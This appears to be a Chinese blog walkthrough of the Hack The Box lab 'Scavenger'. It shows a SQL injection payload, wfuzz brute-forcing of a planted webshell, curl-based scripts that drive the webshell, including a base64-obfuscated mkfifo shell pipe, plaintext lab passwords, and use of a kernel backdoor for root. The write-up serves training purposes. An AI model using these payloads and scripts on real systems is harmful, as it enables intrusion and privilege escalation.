zoukankan      html  css  js  c++  java
  • Hack The Box——Scavenger

    目录

    简介

    信息收集

    漏洞发现

    漏洞利用

    权限提升

    获得ib01ftp用户FTP服务权限

    获得ib01c01用户FTP服务权限

    获得内核后门的密码

    总结


    简介

    这是一个比较难的靶机,虽然开启的端口很多,可以获取到大量信息,但是需要进行甄别,需要对该靶机进行DNS枚举、web目录枚举,ftp服务枚举等。通过DNS枚举发现被入侵的网站,通过枚举webshell密码获得低权限shell,然后在目标主机发现明文存储的多个密码,然后通过枚举登录ftp服务,获取到黑客攻击的日志、流量数据包和内核后门文件,通过分析日志和流量数据包了解到黑客入侵的过程,最后经过对内核后门文件的逆向分析获取到后门程序的密码,从而获得root权限。

    信息收集

    使用nmap 10.10.10.155 -A扫描目标主机,可以看到开启了很多端口(21,22,25,43,53,80)和对应的服务以及版本信息,操作系统是Debian,版本基本上是10.0左右了。43端口运行这whois服务,然后在下边看到WHOIS server server v0.6beta@MariaDB10.1.37和http://www.supersechosting.htb。如图:

    使用searchsploit和Google搜索各服务程序对应版本的已知漏洞,发现Exim smtpd 4.89存在远程命令执行漏洞(CVE-2017-16943,CVE-2018-6789),ISC BIND 9存在拒绝服务漏洞。访问80端口的web服务发现Virtualhost not available,使用dirbuster扫描web目录,如图:

    没有什么有价值的信息,然后使用whois命令连接到目标主机查询supersechosting.htb域,如图:

    发现whois.supersechosting.htb和ns1.supersechosting.htb域名,修改/etc/hosts文件,将其解析到10.10.10.155主机,然后使用host命令列出supersechosting.htb域中的所有主机,又发现ftp.supersechosting.htb,maiil1.supersechosting.htb等域名,如图:

    再次修改hosts文件,将发现的所有域名解析到目标主机。www.supersechosting.htb发现如下页面:

    这是一个Web主机和域名注册系统,使用了PHP7和MySQL,在页面中又发现的新的域名dns.supersechosting.htb,添加到hosts文件后发现只有www.supersechosting.htb可以访问,其它的都不能访问。

    漏洞发现

    使用CVE-2018-6789公开的exp测试并改进后还是无法枚举出偏移地址,因此无法利用该漏洞。结合网页中发现的信息,在域名后添加单引号测试域名查询处是否存在SQL注入,如图:

    数据库在含单引号的域名处报错,且有一个但括号,进一步构造payload:htb')or'1'-- -,如图:

    成功执行payload,且发现三个域名:justanotherblog.htb,pwnhats.htb和rentahacker.htb。然后使用host命令列出域内所有主机,发现www.justanotherblog.htb,mail1.justanotherblog.htb,www.pwnhats.htb,mail1.pwnhats.htb,www.rentahacker.htb,mail1.rentahacker.htb和sec03.rentahacker.htb。添加到hosts文件之后访问,mail1子域无法访问,www.justanotherblog.htb网站还在建设中,访问www.pwnhats.htb网站,是个卖帽子的网站,有查询框,但不存在注入漏洞。如图:

    访问www.rentahacker.htb网站,一个出售邪恶需求的网站,有查询框,一些留言和留言提交框,但都不存在漏洞。在留言中发现31173 HAXXOR team留言网站被他们攻破了,且在网站底部发现网站使用WordPress。如图:

    访问sec03.rentahacker.htb网站,发现是31173 HAXXOR team留下来的,如图:

    看来网站果然被黑了,在页面源代码中没发现有用的信息,然后扫描www.pwnhats.htb,www.rentahacker.htb和sec03.rentahacker.htb网站目录,寻找一些信息,以及查看是否存在webshell文件。扫描www.pwnhats.htb网站目录,发现upload和download等目录,但没用访问权限,如图:

    扫描www.rentahacker.htb网站目录,发现admin和wp-includes目录,但没用访问权限,wp-content目录有访问权限,但没什么有价值的信息,如图:

    扫描sec03.rentahacker.htb网站,发现signup.php,login.php,core.php,view.php和shell.php等文件,均有访问权限。如图:

    访问login.php发现网站使用MantisBT,显示应用程序错误,然后查看源码发现URL,如图:

    点击url继续查看发现xml文件中包含了url,如图:

    打开url之后如图:

    尝试使用默认用户administrator和密码root进行登录,如图:

    在左上角菜单中Manage中发现php版本以及存在普通用户ib01c03用户,如图:

    访问shell.php发现页面没有任何显示,尝试使用GET和POST方法传递cmd,shell,pass,haxxor等参数,如图:

     没有任何回显信息。看来需要枚举参数了,为了方便就不适用BurpSuite了,直接使用wfuzz工具进行枚举参数。先使用GET请求进行枚举(wfuzz -c -w /usr/share/wordlists/wfuzz/general/common.txt --hh 0 http://sec03.rentahacker.htb/shell.php?FUZZ=ls),如图:

    发现参数为hidden时HTTP响应有较多数据,然后尝试执行id命令,如图:

    漏洞利用

    为了更方便的执行命令,在本地开启4444端口监听,利用该webshell反弹一个交互式shell到本地,然而无法利用bash反弹shell,且nc和curl命令没有权限执行,使用wget上传nc也没有建立连接,应该是目标主机防火墙做了限制。自行编写shell脚本scav.sh进行简单优化:

    #!/bin/sh
    #http://sec03.rentahacker.htb/shell.php
    while true;do
        echo -n "scav$ "
        read cmd
        curl -G http://sec03.rentahacker.htb/shell.php --data-urlencode "hidden=$cmd"
    done

    运行该脚本可以获得更方便的shell,如图:

    但毕竟不是交互式shell,无法通过cd命令切换目录,且当前shell权限较低。使用命名管道在之前的shell脚本上继续优化,获得交互式shell:

    #!/bin/sh
    
    url="http://sec03.rentahacker.htb/shell.php"
    user=$(curl -G --output - $url --data-urlencode "hidden=whoami" 2>/dev/null)
    host=$(curl -G --output - $url --data-urlencode "hidden=hostname" 2>/dev/null)
    
    curl -G --output - $url --data-urlencode "hidden=rm -rf /dev/shm/*"
    mkf="bWtmaWZvIC9kZXYvc2htL2ZpO3RhaWwgLWYgL2Rldi9zaG0vZmkgfCAvYmluL3NoIDI+JjEgPi9kZXYvc2htL2ZvCg=="
    
    curl -G --output - $url --data-urlencode "hidden=echo $mkf | base64 -d | /bin/sh" &
    
    while true;do
        echo -n "$user@$host:$ "
        read cmd
        if [ "$cmd" = "exit" ];then
            pid=$(ps -aux | grep curl | awk '{print $2}')
            kill -9 $pid 2>/dev/null
            exit
        fi
        curl -G --output - $url --data-urlencode "hidden=echo $cmd >/dev/shm/fi"
        curl -G --output - $url --data-urlencode "hidden=cat /dev/shm/fo"
        curl -G --output - $url --data-urlencode "hidden=cat /dev/null >/dev/shm/fo"
    done

    权限提升

    查看当前目录下的文件,在config目录下发现数据库用户名和密码,如图:

    尝试使用该用户名密码通过ssh和ftp登录目标主机,使用ftp成功登录,如图:

    查看一番目录后没什么有价值的发现,尝试创建.ssh目录却没有权限。使用webshell查看/etc/passwd文件,发现普通用户support和其他类似ib01c03的用户,如图:

    获得ib01ftp用户FTP服务权限

    但没有权限查看它们的目录,然后查看其他目录,在/var/spool/目录下发现一个mail目录,里边有一个可以读取的ib01c03文件,如图:

     发现了ftp的用户名和密码,可以登录,然后发现一些文件,如图:

    将文件下载到本地,然后查看ib01c03目录发现没有文件。然后分析ib01c01.access.log文件,都是一些Web访问记录,访问其中的一个地址:htt
    p://www.pwnhats.htb/admin530o6uisg/index.php?controller=AdminLogin&token=de267fd50b09d00b04cca76ff620b201,如图:

    尝试一些弱口令无法登录,然后查看notes.txt发现是靶机作者提示我们去分析日志和pcap文件,然后使用wireshark查看ib01c01_incident.pcap文件,筛选http协议,发现一个POST请求中包含了用户名和密码,如图:

    然后查看HTTP流发现并未登录成功,如图:

    然后筛选使用http POST方法的请求包,发现另一个密码,如图:

    查看HTTP流发现登录成功,如图:

    然后查看第三个POST请求包,发现上传了使用base64编码的恶意代码,如图:

    经过base64解码之后是反弹shell的命令,如图:

    通过筛选4444端口查看黑客获得shell之后做了什么,依次查看,在第378个数据包的TCP流中发现黑客执行了ls,cd,wget等命令,如图:

    黑客上传了Makefile和root.c文件到目标主机,并反弹了一个加密的shell到他的主机,之后的命令就被加密了。筛选http协议然后查找Makefile和root.c文件的数据包,如图:

    在HTTP流中可以看到文件内容,如图:

    为了方便使用,将其响应数据包(第426和第489个数据包)中的内容导出到本地。查看root.c文件发现着是一个内核后门程序的源代码。由此可见我们也可以利用此方法获得一个shell,然后通过后门文件获得root权限。修改返回的地址,然后使用base64编码,并验证,如图:

    启动浏览器和BurpSuite,设置代理,使用获取到的Email和密码登录,然后将URL参数controller的值AdminDashboard改为AdminCustomerThreads,然后提交,如图:

    点击橙色按钮即可到达执行恶意代码的页面,然后替换base64编码部分,如图:

    点击右下角保存之后并没有反弹回shell,同样也无法使用bash反弹shell,应该是黑客禁止了所有外连命令的执行。

    获得ib01c01用户FTP服务权限

    使用获取到的密码Thi$sh1tIsN0tGut,YhgRt56_Ta,GetYouAH4t!尝试枚举ib01c01,ib01c02,ib01c03和support用户。使用GetYouAH4t!可以登录ib01c01用户的ftp,如图:

    在/home/ib01c01下发现access.txt和user.txt文件及www目录和...目录,如图:

    查看access.txt发现记录着ib01c01的ftp用户名和密码,www是卖帽子的网站目录,...目录下有一个root.ko内核模块文件,应该是之前导出的root.c编译后的文件。查看该模块发现已经加载,如图:

    尝试连接内核后门,并没有成功,如图:

    看来密码被更换了,尝试31173,HAXXOR等也未成功。

    获得内核后门的密码

    将root.ko下载到本地,使用64为IDA进行分析,依次查看左侧函数,在root_write函数的伪代码中发现字符串复制,如图:

    尝试使用g3tPr1v连接后门程序,成功获得root权限,如图:

    总结

    该靶机设计的还算不错,从信息收集到攻击回溯,再到日志分析,流量分析,逆向分析,多方位考察渗透者的技能,但总的来说主要还是考察了枚举。而我在渗透过程中在whois查询的SQL注入漏洞那里卡了段时间,接着又是ftp枚举那里卡了段时间。枚举是最简单的方法,成功的关键在于收集到的信息和使用的字典,而我通常都是将枚举攻击放到最后,因此对于这种主要靠枚举攻击进入的靶机还是有点吃力的。

  • 相关阅读:
    POJ 1017
    poj 2709
    poj 1328
    POJ 2386
    POJ 1065
    POJ 3728
    hdu--1004--Let the Balloon Rise
    hdu--2570--迷瘴(贪心)
    hdu--1257--最少拦截系统(贪心)
    hdu--1230--火星A+B
  • 原文地址:https://www.cnblogs.com/hzcya1995/p/13302354.html
Copyright © 2011-2022 走看看